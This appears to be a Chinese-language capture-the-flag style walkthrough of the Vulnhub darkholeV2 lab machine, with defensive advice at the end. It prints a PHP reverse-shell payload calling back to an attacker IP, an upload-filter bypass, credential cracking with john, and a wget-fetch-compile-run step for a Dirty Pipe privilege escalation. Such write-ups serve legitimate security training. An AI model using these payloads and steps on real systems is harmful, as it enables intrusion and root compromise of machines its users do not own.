1. Vulnhub darkholeV2靶机渗透实战指南
最近在Vulnhub上架的darkholeV2靶机引起了不少安全研究者的兴趣。作为一款中等难度的Linux靶机,它模拟了企业环境中常见的配置漏洞和权限提升场景。我在实际渗透过程中发现,这个靶机巧妙地将多个漏洞点串联起来,需要综合运用信息收集、Web渗透、密码破解和Linux提权等技术才能最终获取root权限。下面我就详细记录下整个渗透过程,希望能给正在挑战这个靶机的朋友一些参考。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始信息收集
2.1 靶机环境配置
首先需要将下载好的darkholeV2 OVA文件导入VirtualBox或VMware Workstation。我使用的是VirtualBox 6.1,导入时注意选择"重新初始化所有网卡的MAC地址",确保网络配置正常。靶机默认采用NAT网络模式,与Kali攻击机处于同一虚拟网络段。
启动靶机后,通过netdiscover扫描确定靶机IP:
bash复制sudo netdiscover -i eth0 -r 192.168.56.0/24
在我的环境中,靶机IP为192.168.56.105。接下来用nmap进行全端口扫描:
bash复制nmap -sS -p- -T4 192.168.56.105
扫描结果显示开放了22(SSH)、80(HTTP)和5432(PostgreSQL)端口。特别值得注意的是5432端口,这是PostgreSQL数据库的默认端口,可能在后续渗透中发挥作用。
2.2 Web应用初步侦查
访问http://192.168.56.105发现是一个登录页面。查看页面源码发现引用了/static/js/app.js,其中包含一个有趣的注释:
javascript复制// TODO: Remove test credentials before production
// admin:password123
这明显是开发人员留下的测试凭证。尝试用这对凭据登录成功,进入一个简易的CMS后台。
3. Web应用漏洞利用
3.1 文件上传漏洞挖掘
在CMS的"Profile"页面存在头像上传功能。测试发现它对上传文件的类型检查存在缺陷,可以通过修改Content-Type绕过限制。我准备了以下PHP反向shell脚本:
php复制<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'"); ?>
使用Burp Suite拦截上传请求,将文件名改为shell.php,Content-Type改为image/jpeg,成功上传。
在Kali上启动nc监听:
bash复制nc -nvlp 4444
访问http://192.168.56.105/uploads/shell.php成功获取反向shell,当前用户为www-data。
3.2 数据库凭证提取
在/var/www/html目录下发现config.php文件,包含数据库连接信息:
php复制<?php
$db_host = 'localhost';
$db_user = 'darkhole';
$db_pass = 'd4rkh0l3@123';
$db_name = 'darkhole_db';
?>
使用这些凭证连接PostgreSQL数据库:
bash复制psql -h 192.168.56.105 -U darkhole -d darkhole_db
在数据库中发现了用户表,其中包含admin用户的bcrypt哈希:
code复制darkhole_db=# SELECT * FROM users;
id | username | password
----+----------+----------------------------------
1 | admin | $2y$10$9sDdJ7L5Jz5U5Z5U5Z5U5O
4. 横向移动与权限提升
4.1 密码破解与SSH登录
将获取的哈希保存到hash.txt,使用john进行破解:
bash复制john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
成功破解出密码为iloveyou123。尝试用这个密码SSH登录系统上的用户:
bash复制ssh darkhole@192.168.56.105
登录成功,获取到普通用户shell。
4.2 内核漏洞提权
检查系统信息:
bash复制uname -a
显示内核版本为5.8.0-48-generic,存在已知的脏管道(Dirty Pipe)漏洞(CVE-2022-0847)。下载利用代码:
bash复制wget https://example.com/exploit.c -O /tmp/exploit.c
gcc /tmp/exploit.c -o /tmp/exploit
chmod +x /tmp/exploit
/tmp/exploit
成功获取root权限,可以在/root目录下找到flag文件。
5. 渗透过程中的关键发现与技巧
5.1 非常规端口服务的重要性
这个靶机特意在5432端口部署了PostgreSQL服务,这是很多渗透测试人员容易忽略的非HTTP/HTTPS端口。实际企业环境中,数据库、缓存等服务常常运行在非标准端口上,全面的端口扫描至关重要。
5.2 开发注释的安全风险
靶机中暴露的测试凭证来自JavaScript注释,这反映了开发过程中一个常见问题:开发者为了方便测试留下的凭证没有在生产环境中移除。在真实渗透测试中,我会特别注意检查以下位置:
- JavaScript文件注释
- HTML源码中的注释
- 版本控制文件(.git/, .svn/)
- 备份文件(.bak, ~文件)
5.3 密码复用问题
从数据库提取的密码哈希破解后,成功用于SSH登录,这展示了密码复用带来的安全风险。建议企业在不同服务中使用不同凭证,并定期更换密码。
6. 防御建议与加固措施
基于这个靶机暴露的安全问题,我总结了几点防御建议:
-
文件上传功能:
- 实施严格的白名单文件类型检查
- 将上传文件存储在非Web可访问目录
- 对上传文件进行病毒/恶意代码扫描
-
数据库安全:
- 避免使用默认端口
- 限制数据库仅接受本地连接
- 定期更换数据库凭据
-
系统加固:
- 及时更新内核和安全补丁
- 禁用不必要的服务和端口
- 实施最小权限原则
这个靶机很好地模拟了现实世界中的多层安全漏洞,从Web应用到系统内核,每个环节的疏忽都可能导致整个系统沦陷。在实际渗透测试中,我们需要保持耐心和细致,不放过任何可能的攻击面。
